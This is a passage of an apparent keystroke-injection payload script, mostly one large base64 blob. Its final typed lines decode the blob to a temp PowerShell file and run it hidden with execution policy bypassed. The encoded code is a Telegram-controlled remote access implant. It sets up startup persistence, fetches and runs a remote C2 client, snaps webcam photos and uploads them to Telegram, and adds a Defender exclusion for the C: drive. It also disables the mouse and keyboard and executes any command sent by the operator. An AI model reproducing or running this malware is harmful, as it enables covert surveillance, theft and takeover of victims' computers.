XdTY3JpcHRQYXRoID0gIiRlbnY6QVBQREFUQVxNaWNyb3NvZnRcV2luZG93c1xQb3dlclNoZWxsXGNvcHkucHMxIg0KJHNjcmlwdENvbnRlbnQgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG5ld1NjcmlwdFBhdGggLWZvcmNlDQpzbGVlcCAxDQppZiAoJG5ld1NjcmlwdFBhdGguTGVuZ3RoIC1sdCAxMDApew0KICAgICJgJHRnID0gYCIkdGdgIiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG5ld1NjcmlwdFBhdGggLUZvcmNlDQogICAgaWB3ciAtVXJpICIkcGFyZW50IiAtT3V0RmlsZSAiJGVudjp0ZW1wL3RlbXAucHMxIg0KICAgIHNsZWVwIDENCiAgICBHZXQtQ29udGVudCAtUGF0aCAiJGVudjp0ZW1wL3RlbXAucHMxIiB8IE91dC1GaWxlICRuZXdTY3JpcHRQYXRoIC1BcHBlbmQNCiAgICB9DQokdG9iYXQgPSBAJw0KU2V0IG9ialNoZWxsID0gQ3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIikNCm9ialNoZWxsLlJ1biAicG93ZXJzaGVsbC5leGUgLU5vbkkgLU5vUCAtRXhlYyBCeXBhc3MgLVcgSGlkZGVuIC1GaWxlICIiJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFBvd2VyU2hlbGxcY29weS5wczEiIiIsIDAsIFRydWUNCidADQokcHRoID0gIiRlbnY6QVBQREFUQVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcc2VydmljZS52YnMiDQokdG9iYXQgfCBPdXQtRmlsZSAtRmlsZVBhdGggJHB0aCAtRm9yY2UNCldyaXRlLU91dHB1dCAiUGVyc2lzdGFuY2UgQWRkZWQuIg0Kcm0gLXBhdGggIiRlbnY6VEVNUFx0ZW1wLnBzMSIgLUZvcmNlDQp9DQoNCkZ1bmN0aW9uIFJlbW92ZS1QZXJzaXN0YW5jZXsNCnJtIC1QYXRoICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXHNlcnZpY2UudmJzIg0Kcm0gLVBhdGggIiRlbnY6QVBQREFUQVxNaWNyb3NvZnRcV2luZG93c1xQb3dlclNoZWxsXGNvcHkucHMxIg0KV3JpdGUtT3V0cHV0ICJVbmluc3RhbGxlZC4iDQp9DQoNCkZ1bmN0aW9uIFBhdXNlLVNlc3Npb257DQokY29udGVudHMgPSAiJGVudjpDT01QVVRFUk5BTUUgJHBhdXNlIFNlc3Npb24gUGF1c2VkLiAkcGF1c2UgKFJlLUVudGVyIHBhc3N3b3JkIHRvIHJlc3VtZS4uKSINClBvc3QtTWVzc2FnZSB8IE91dC1OdWxsDQokc2NyaXB0OkFjY2VwdGVkU2Vzc2lvbj0iIg0KfQ0KDQpGdW5jdGlvbiBJcy1BZG1pbnsNCklmICghKFtTZWN1cml0eS5QcmluY2lwYWwuV2luZG93c1ByaW5jaXBhbF1bU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eV06OkdldEN1cnJlbnQoKSkuSXNJblJvbGUoW1NlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzQnVpbHRJblJvbGVdJ0FkbWluaXN0cmF0b3InKSkgew0KICAgICRjb250ZW50cyA9ICIkY2xvc2VkIEN1cnJlbnQgU2Vzc2lvbiBpcyBOT1QgQWRtaW4gJGNsb3NlZCINCiAgICBQb3N0LU1lc3NhZ2UgfCBPdXQtTnVsbA0KICAgIH0NCiAgICBlbHNlew0KICAgICRjb250ZW50cyA9ICIkdGljayBDdXJyZW50IFNlc3Npb24gSVMgQWRtaW4gJHRpY2siDQogICAgUG9zdC1NZXNzYWdlIHwgT3V0LU51bGwNCiAgICB9DQp9DQoNCkZ1bmN0aW9uIEF0dGVtcHQtRWxldmF0ZXsNCiR0b2JhdCA9IEAiDQpTZXQgV3NoU2hlbGwgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdChgIldTY3JpcHQuU2hlbGxgIikNCldTY3JpcHQuU2xlZXAgMjAwDQpJZiBOb3QgV1NjcmlwdC5Bcmd1bWVudHMuTmFtZWQuRXhpc3RzKGAiZWxldmF0ZWAiKSBUaGVuDQogIENyZWF0ZU9iamVjdChgIlNoZWxsLkFwcGxpY2F0aW9uYCIpLlNoZWxsRXhlY3V0ZSBXU2NyaXB0LkZ1bGxOYW1lIF8NCiAgICAsIGAiYCJgImAiICYgV1NjcmlwdC5TY3JpcHRGdWxsTmFtZSAmIGAiYCJgIiAvZWxldmF0ZWAiLCBgImAiLCBgInJ1bmFzYCIsIDENCiAgV1NjcmlwdC5RdWl0DQpFbmQgSWYNCldzaFNoZWxsLlJ1biBgInBvd2Vyc2hlbGwuZXhlIC1Ob25JIC1Ob1AgLUVwIEJ5cGFzcyAtVyBIIC1DIGAkdGc9JyR0Zyc7IGlybSBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmVpZ2V3b3JtL1Bvc2hHcmFtLUMyL21haW4vVGVsZWdyYW0tQzItQ2xpZW50LnBzMSB8IGlleGAiLCAwLCBUcnVlDQoiQA0KJHB0aCA9ICJDOlxXaW5kb3dzXFRhc2tzXHNlcnZpY2UudmJzIg0KJHRvYmF0IHwgT3V0LUZpbGUgLUZpbGVQYXRoICRwdGggLUZvcmNlDQomICRwdGgNClNsZWVwIDcNCnJtIC1QYXRoICRwdGgNCldyaXRlLU91dHB1dCAiRG9uZS4iDQp9DQoNCkZ1bmN0aW9uIFRvZ2dsZS1FcnJvcnN7DQpJZigkZ2xvYmFsOmVycm9ybXNnIC1lcSAwKXsNCiAgICAkZ2xvYmFsOmVycm9ybXNnID0gMQ0KICAgICRjb250ZW50cyA9ICIkdGljayBFcnJvciBNZXNzYWdpbmcgT04gJHRpY2siDQogICAgUG9zdC1NZXNzYWdlIHwgT3V0LU51bGwNCiAgICByZXR1cm4NCiAgICB9DQpJZigkZ2xvYmFsOmVycm9ybXNnIC1lcSAxKXsNCiAgICAkZ2xvYmFsOmVycm9ybXNnID0gMA0KICAgICRjb250ZW50cyA9ICIkY2xvc2VkIEVycm9yIE1lc3NhZ2luZyBPRkYgJGNsb3NlZCINCiAgICBQb3N0LU1lc3NhZ2UgfCBPdXQtTnVsbA0KICAgIHJldHVybg0KICAgIH0NCn0NCg0KRnVuY3Rpb24gTWVzc2FnZShbc3RyaW5nXSRNZXNzYWdlKXsNCiAgICBtc2cuZXhlICogJE1lc3NhZ2UNCiAgICBXcml0ZS1PdXRwdXQgIkRvbmUuIg0KfQ0KDQpGdW5jdGlvbiBUYWtlLVBpY3R1cmUgew0KJG91dHB1dEZvbGRlciA9ICIkZW52OlRFTVBcOHpUbDQ1UFNBIg0KJG91dHB1dEZpbGUgPSAiJGVudjpURU1QXDh6VGw0NVBTQVxjYXB0dXJlZF9pbWFnZS5qcGciDQokdGVtcEZvbGRlciA9ICIkZW52OlRFTVBcOHpUbDQ1UFNBXGZmbXBlZyINCmlmICgtbm90IChUZXN0LVBhdGggLVBhdGggJG91dHB1dEZvbGRlcikpIHsNCiAgICBOZXctSXRlbSAtSXRlbVR5cGUgRGlyZWN0b3J5IC1QYXRoICRvdXRwdXRGb2xkZXIgfCBPdXQtTnVsbA0KfQ0KaWYgKC1ub3QgKFRlc3QtUGF0aCAtUGF0aCAkdGVtcEZvbGRlcikpIHsNCiAgICBOZXctSXRlbSAtSXRlbVR5cGUgRGlyZWN0b3J5IC1QYXRoICR0ZW1wRm9sZGVyIHwgT3V0LU51bGwNCn0NCiRmZm1wZWdEb3dubG9hZCA9ICJodHRwczovL3d3dy5neWFuLmRldi9mZm1wZWcvYnVpbGRzL2ZmbXBlZy1yZWxlYXNlLWVzc2VudGlhbHMuemlwIg0KJGZmbXBlZ1ppcCA9ICIkdGVtcEZvbGRlclxmZm1wZWctcmVsZWFzZS1lc3NlbnRpYWxzLnppcCINCmlmICgtbm90IChUZXN0LVBhdGggLVBhdGggJGZmbXBlZ1ppcCkpIHsNCiAgICBJYHdyIC1VcmkgJGZmbXBlZ0Rvd25sb2FkIC1PdXRGaWxlICRmZm1wZWdaaXANCn0NCkV4cGFuZC1BcmNoaXZlIC1QYXRoICRmZm1wZWdaaXAgLURlc3RpbmF0aW9uUGF0aCAkdGVtcEZvbGRlciAtRm9yY2UNCiR2aWRlb0RldmljZSA9ICRudWxsDQokdmlkZW9EZXZpY2UgPSBHZXQtQ2ltSW5zdGFuY2UgV2luMzJfUG5QRW50aXR5IHwgV2hlcmUtT2JqZWN0IHsgJF8uUE5QQ2xhc3MgLWVxICdJbWFnZScgfSB8IFNlbGVjdC1PYmplY3QgLUZpcnN0IDENCmlmICgtbm90ICR2aWRlb0RldmljZSkgew0KICAgICR2aWRlb0RldmljZSA9IEdldC1DaW1JbnN0YW5jZSBXaW4zMl9QblBFbnRpdHkgfCBXaGVyZS1PYmplY3QgeyAkXy5QTlBDbGFzcyAtZXEgJ0NhbWVyYScgfSB8IFNlbGVjdC1PYmplY3QgLUZpcnN0IDENCn0NCmlmICgtbm90ICR2aWRlb0RldmljZSkgew0KICAgICR2aWRlb0RldmljZSA9IEdldC1DaW1JbnN0YW5jZSBXaW4zMl9QblBFbnRpdHkgfCBXaGVyZS1PYmplY3QgeyAkXy5QTlBDbGFzcyAtZXEgJ01lZGlhJyB9IHwgU2VsZWN0LU9iamVjdCAtRmlyc3QgMQ0KfQ0KaWYgKCR2aWRlb0RldmljZSkgew0KICAgICR2aWRlb0lucHV0ID0gJHZpZGVvRGV2aWNlLk5hbWUNCiAgICAkZmZtcGVnVmVyc2lvbiA9IEdldC1DaGlsZEl0ZW0gLVBhdGggJHRlbXBGb2xkZXIgLUZpbHRlciAiZmZtcGVnLSotZXNzZW50aWFsc19idWlsZCIgfCBTZWxlY3QtT2JqZWN0IC1FeHBhbmRQcm9wZXJ0eSBOYW1lDQogICAgJGZmbXBlZ1ZlcnNpb24gPSAkZmZtcGVnVmVyc2lvbiAtcmVwbGFjZSAnZmZtcGVnLShcZCtcLlxkKyktLionLCAnJDEnDQogICAgJGZmbXBlZ1BhdGggPSBKb2luLVBhdGggLVBhdGggJHRlbXBGb2xkZXIgLUNoaWxkUGF0aCAoImZmbXBlZy17MH0tZXNzZW50aWFsc19idWlsZFxiaW5cZmZtcGVnLmV4ZSIgLWYgJGZmbXBlZ1ZlcnNpb24pDQogICAgJiAkZmZtcGVnUGF0aCAtZiBkc2hvdyAtaSB2aWRlbz0iJHZpZGVvSW5wdXQiIC1mcmFtZXM6diAxICRvdXRwdXRGaWxlIC15DQogICAgV3JpdGUtSG9zdCAiSW1hZ2UgY2FwdHVyZWQgYW5kIHNhdmVkIHRvICRvdXRwdXRGaWxlLiINCn0gZWxzZSB7DQogICAgV3JpdGUtSG9zdCAiTm8gdmlkZW8gZGV2aWNlcyBmb3VuZCBvbiB0aGUgc3lzdGVtLiINCn0NCiAgICBjdXJsLmV4ZSAtRiBjaGF0X2lkPSIkQ2hhdElEIiAtRiBkb2N1bWVudD1AIiRvdXRwdXRGaWxlIiAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCRUb2tlbi9zZW5kRG9jdW1lbnQiIHwgT3V0LU51bGwNCiAgICBzbGVlcCAxDQogICAgUmVtb3ZlLUl0ZW0gLVBhdGggJG91dHB1dEZpbGUgLUZvcmNlDQp9DQoNCkZ1bmN0aW9uIERpc2FibGUtQVZ7DQogICAgQWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCBDOlwNCiAgICBXcml0ZS1PdXRwdXQgIkRvbmUuIg0KfQ0KDQpGdW5jdGlvbiBEaXNhYmxlLUhJRHsNCiAgICAkY29udGVudHMgPSAiJGVudjpDT01QVVRFUk5BTUUgJGNsb3NlZCBEaXNhYmxpbmcgSElEIElucHV0cy4uIg0KICAgIFBvc3QtTWVzc2FnZSB8IE91dC1OdWxsDQogICAgJFBOUE1pY2UgPSBHZXQtV21pT2JqZWN0IFdpbjMyX1VTQkNvbnRyb2xsZXJEZXZpY2UgfCAle1t3bWldJF8uZGVwZW5kZW50fSB8ID97JF8ucG5wY2xhc3MgLWVxICdNb3VzZSd9DQogICAgJFBOUE1pY2UuRGlzYWJsZSgpDQogICAgJFBOUEtleWJvYXJkID0gR2V0LVdtaU9iamVjdCBXaW4zMl9VU0JDb250cm9sbGVyRGV2aWNlIHwgJXtbd21pXSRfLmRlcGVuZGVudH0gfCA/eyRfLnBucGNsYXNzIC1lcSAnS2V5Ym9hcmQnfQ0KICAgICRQTlBLZXlib2FyZC5EaXNhYmxlKCkNCn0NCg0KRnVuY3Rpb24gRW5hYmxlLUhJRHsNCiAgICAkY29udGVudHMgPSAiJGVudjpDT01QVVRFUk5BTUUgJHRpY2sgRW5hYmxpbmcgSElEIElucHV0cy4uIg0KICAgIFBvc3QtTWVzc2FnZSB8IE91dC1OdWxsDQogICAgJFBOUE1pY2UgPSBHZXQtV21pT2JqZWN0IFdpbjMyX1VTQkNvbnRyb2xsZXJEZXZpY2UgfCAle1t3bWldJF8uZGVwZW5kZW50fSB8ID97JF8ucG5wY2xhc3MgLWVxICdNb3VzZSd9DQogICAgJFBOUE1pY2UuRW5hYmxlKCkNCiAgICAkUE5QS2V5Ym9hcmQgPSBHZXQtV21pT2JqZWN0IFdpbjMyX1VTQkNvbnRyb2xsZXJEZXZpY2UgfCAle1t3bWldJF8uZGVwZW5kZW50fSB8ID97JF8ucG5wY2xhc3MgLWVxICdLZXlib2FyZCd9DQogICAgJFBOUEtleWJvYXJkLkVuYWJsZSgpDQp9DQoNCkZ1bmN0aW9uIFBvc3QtTWVzc2FnZXskc2NyaXB0OnBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9O0ludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtc30NCkZ1bmN0aW9uIFBvc3QtRmlsZXtjdXJsLmV4ZSAtRiBjaGF0X2lkPSIkQ2hhdElEIiAtRiBkb2N1bWVudD1AIiRmaWxlUGF0aCIgImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QkVG9rZW4vc2VuZERvY3VtZW50IiB8IE91dC1OdWxsfQ0KDQpGdW5jdGlvbiBTaG93QnV0dG9uc3sNCiRtZXNzYWdlaGVhZCA9ICJQcmVzcyBhIEJ1dHRvbiB0byBDb250aW51ZS4uLiINCiRpbmxpbmVLZXlib2FyZEpzb24gPSAneyJpbmxpbmVfa2V5Ym9hcmQiOltbeyJ0ZXh0IjogIkVudGVyIENvbW1hbmRzIiwiY2FsbGJhY2tfZGF0YSI6ICJidXR0b25fY2xpY2tlZCJ9LHsidGV4dCI6ICJPcHRpb25zIiwiY2FsbGJhY2tfZGF0YSI6ICJidXR0b24yX2NsaWNrZWQifV1dfScNCiRwYXJhbWVycyA9IEB7Y2hhdF9pZCA9ICRjaGF0SWQgO3RleHQgPSAkbWVzc2FnZWhlYWQgO3JlcGx5X21hcmt1cCA9ICRpbmxpbmVLZXlib2FyZEpzb259DQpJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Db250ZW50VHlwZSAiYXBwbGljYXRpb24vanNvbiIgLUJvZHkgKCRwYXJhbWVycyB8IENvbnZlcnRUby1Kc29uIC1EZXB0aCAxMCkNCiRraWxsaW50ID0gMA0KJG9mZnNldCA9IDANCndoaWxlICgka2lsbGludCAtZXEgMCkgew0KICAgICR1cGRhdGVzID0gSW52b2tlLVJlc3RNZXRob2QgLVVyaSAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCRUb2tlbi9nZXRVcGRhdGVzP29mZnNldD0kb2Zmc2V0IiAtTWV0aG9kIEdldA0KICAgIGZvcmVhY2ggKCR1cGRhdGUgaW4gJHVwZGF0ZXMucmVzdWx0KSB7DQogICAgICAgICRvZmZzZXQgPSAkdXBkYXRlLnVwZGF0ZV9pZCArIDENCiAgICAgICAgU2xlZXAgMQ0KICAgICAgICBpZiAoJHVwZGF0ZS5jYWxsYmFja19xdWVyeS5kYXRhIC1lcSAiYnV0dG9uX2NsaWNrZWQiKSB7JGtpbGxpbnQgPSAxfQ0KICAgICAgICBpZiAoJHVwZGF0ZS5jYWxsYmFja19xdWVyeS5kYXRhIC1lcSAiYnV0dG9uMl9jbGlja2VkIikgeyRraWxsaW50ID0gMTtPcHRpb25zfQ0KICAgICAgICB9DQogICAgU2xlZXAgMQ0KICAgIH0NCiRjb250ZW50cyA9ICIkY29tcCAkZW52OkNPTVBVVEVSTkFNRSAkdGljayBTZXNzaW9uIFN0YXJ0ZWQiDQpQb3N0LU1lc3NhZ2UNCn0NCg0KRnVuY3Rpb24gSXNBdXRoeyANCnBhcmFtKCRDaGVja01lc3NhZ2UpDQogICAgaWYgKCgkbWVzc2FnZXMubWVzc2FnZS5kYXRlIC1uZSAkTGFzdFVuQXV0aE1zZykgLWFuZCAoJENoZWNrTWVzc2FnZS5tZXNzYWdlLnRleHQgLWxpa2UgJFBhc3NQaHJhc2UpIC1hbmQgKCRDaGVja01lc3NhZ2UubWVzc2FnZS5mcm9tLmlzX2JvdCAtbGlrZSAkZmFsc2UpKXsNCiAgICAgICAgJHNjcmlwdDpBY2NlcHRlZFNlc3Npb249IkF1dGhlbnRpY2F0ZWQiDQogICAgICAgICRjb250ZW50cyA9ICIkY29tcCAkZW52OkNPTVBVVEVSTkFNRSAkdGljayBTZXNzaW9uIFN0YXJ0aW5nLi4uIg0KICAgICAgICBQb3N0LU1lc3NhZ2UNCiAgICAgICAgU2hvd0J1dHRvbnMNCiAgICAgICAgcmV0dXJuICRtZXNzYWdlcy5tZXNzYWdlLmNoYXQuaWQNCiAgICB9RWxzZXtyZXR1cm4gMH0NCn0NCg0KRnVuY3Rpb24gQ2xlYW5TdHJpbmd7DQpwYXJhbSgkU3RyZWFtKQ0KJEZpeGVkUmVzdWx0PUAoKQ0KJFN0cmVhbSB8IE91dC1GaWxlIC1GaWxlUGF0aCAoSm9pbi1QYXRoICRlbnY6dGVtcCAtQ2hpbGRQYXRoICJ0Z2MyLnR4dCIpIC1Gb3JjZQ0KJFJlYWRBc0FycmF5PSBHZXQtQ29udGVudCAtUGF0aCAoSm9pbi1QYXRoICRlbnY6dGVtcCAtQ2hpbGRQYXRoICJ0Z2MyLnR4dCIpIHwgd2hlcmUgeyRfLmxlbmd0aCAtZ3QgMH0NCiAgICBmb3JlYWNoICgkbGluZSBpbiAkUmVhZEFzQXJyYXkpew0KICAgICRBcnJPYmo9TmV3LU9iamVjdCBwc29iamVjdA0KICAgICRBcnJPYmogfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSAiTGluZSIgLVZhbHVlICgkbGluZSkudG9zdHJpbmcoKQ0KICAgICRGaXhlZFJlc3VsdCArPSRBcnJPYmoNCiAgICB9DQpyZXR1cm4gJEZpeGVkUmVzdWx0DQp9DQoNCkZ1bmN0aW9uIFNlbmRNU0d7DQpwYXJhbSgkTWVzc2FnZXRleHQsJENoYXRJRCkNCiRGaXhlZFRleHQ9Q2xlYW5TdHJpbmcgLVN0cmVhbSAkTWVzc2FnZXRleHQNCiRNdHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSAndGV4dCcgLVZhbHVlICRGaXhlZFRleHQubGluZSAtRm9yY2UNCiRKc29uRGF0YT0oJE10cyB8IENvbnZlcnRUby1Kc29uKQ0KaXJtIC1NZXRob2QgUG9zdCAtVXJpICgkVVJMICsnL3NlbmRNZXNzYWdlJykgLUJvZHkgJEpzb25EYXRhIC1Db250ZW50VHlwZSAiYXBwbGljYXRpb24vanNvbiINCiRjYXRjaGVyID0gJEZpeGVkVGV4dA0KfQ0KDQpGdW5jdGlvbiBSZWNlaXZlTVNHew0KdHJ5ew0KICAgICRpbk1lc3NhZ2U9aXJtIC1NZXRob2QgR2V0IC1VcmkgKCRVUkwgKycvZ2V0VXBkYXRlcycpIC1FcnJvckFjdGlvbiBTdG9wDQogICAgcmV0dXJuICRpbk1lc3NhZ2UucmVzdWx0Wy0xXQ0KICAgIH0NCkNhdGNoe3JldHVybiAiVGVsZWdyYW0gQzIgRmFpbGVkIn0NCn0NCg0KDQokY29udGVudHMgPSAiJGNvbXAgJGVudjpDT01QVVRFUk5BTUUgJHdhaXRpbmcgV2FpdGluZyB0byBDb25uZWN0Li4iDQpQb3N0LU1lc3NhZ2UNCg0KV2hpbGUgKCR0cnVlKXsNClNsZWVwIDINCiRtZXNzYWdlcz1SZWNlaXZlTVNHDQogICAgaWYgKCRMYXN0VW5BdXRoTXNnIC1saWtlICRudWxsKXskTGFzdFVuQXV0aE1zZz0kbWVzc2FnZXMubWVzc2FnZS5kYXRlfQ0KICAgIGlmICghKCRBY2NlcHRlZFNlc3Npb24pKXskQ2hlY2tBdXRoZW50aWNhdGlvbj1Jc0F1dGggLUNoZWNrTWVzc2FnZSAkbWVzc2FnZXN9DQogICAgRWxzZXsNCiAgICAgICAgaWYgKCgkQ2hlY2tBdXRoZW50aWNhdGlvbiAtbmUgMCkgLWFuZCAoJG1lc3NhZ2VzLm1lc3NhZ2UudGV4dCAtbm90bGlrZSAkUGFzc1BocmFzZSkgLWFuZCAoJG1lc3NhZ2VzLm1lc3NhZ2UuZGF0ZSAtbmUgJGxhc3RleGVjTWVzc2FnZUlEKSl7DQogICAgICAgICAgICB0cnl7DQogICAgICAgICAgICAgICAgJFJlc3VsdD1pZWB4KCRtZXNzYWdlcy5tZXNzYWdlLnRleHQpIC1FcnJvckFjdGlvbiBTdG9wDQogICAgICAgICAgICAgICAgJFJlc3VsdA0KICAgICAgICAgICAgICAgIGlmICgoJHJlc3VsdC5sZW5ndGggLWVxIDApIC1vciAoJG1lc3NhZ2VzLm1lc3NhZ2UudGV4dCAtY29udGFpbnMgIktleUNhcHR1cmUiKSAtb3IgKCRtZXNzYWdlcy5tZXNzYWdlLnRleHQgLWNvbnRhaW5zICJFeGZpbHRyYXRpb24iKSl7fQ0KICAgICAgICAgICAgICAgIGVsc2V7DQogICAgICAgICAgICAgICAgU2VuZE1TRyAtTWVzc2FnZXRleHQgJFJlc3VsdCAtQ2hhdElEICRtZXNzYWdlcy5tZXNzYWdlLmNoYXQuaWQNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfWNhdGNoIHsNCiAgICAgICAgICAgICAgICAgICAgaWYoJGdsb2JhbDplcnJvcm1zZyAtZXEgMSl7DQogICAgICAgICAgICAgICAgICAgIFNlbmRNU0cgLU1lc3NhZ2V0ZXh0ICgkXy5leGNlcHRpb24ubWVzc2FnZSkgLUNoYXRJRCAkbWVzc2FnZXMubWVzc2FnZS5jaGF0LmlkDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICBGaW5hbGx5eyRsYXN0ZXhlY01lc3NhZ2VJRD0kbWVzc2FnZXMubWVzc2FnZS5kYXRlfQ0KICAgICAgICB9DQogICAgfQ0KfQ0K' -ENTER -STRING $decodedFile = [System.Convert]::FromBase64String($b64);$decodedText = [System.Text.Encoding]::UTF8.GetString($decodedFile);$decodedText | Out-File -FilePath "$env:temp/a.ps1" -Append -ENTER -STRING Start-Process PowerShell.exe -ArgumentList ("-NoP -Ep Bypass -w h -File `"$env:temp/a.ps1`"" -f $PSCommandPath);sleep 7;Remove-Item -Path $File -Force;exit -ENTER